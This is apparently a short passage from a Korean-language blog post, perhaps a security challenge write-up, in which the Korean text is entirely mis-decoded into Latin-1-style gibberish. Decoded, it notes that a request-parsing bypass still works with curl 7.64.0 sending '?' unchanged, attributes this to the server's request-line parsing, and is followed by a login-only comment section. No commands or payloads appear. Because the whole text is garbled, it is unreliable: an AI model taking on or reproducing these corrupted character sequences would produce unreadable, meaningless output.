์ด๋์ curl ์ 7.64.0 ์ด๊ณ ? ๋ฅผ ๊ทธ๋๋ก ๋ณด๋ธ๋ค. ๊ทธ๋ฐ๋ฐ๋ ์ฐํ๋ ๋๋ค.
์ด์ ๊ฐ curl ์ด ์๋๋ผ ์๋ฒ์ ์์ฒญ์ค ํ์ฑ์ ์์๊ธฐ ๋๋ฌธ์ด๋ค.
๊ฐ์ ๊ฒฐ๊ณผ๋ผ๋ ์ด๋์ ์ผ์ด๋๋ ์ผ์ธ์ง ํ์ธํ์ง ์์ผ๋ฉด ๋ค์ ๋ฌธ์ ์์ ํ๋ฆฐ ๊ฐ์ ์ ๋ค๊ณ ๊ฐ๊ฒ ๋๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ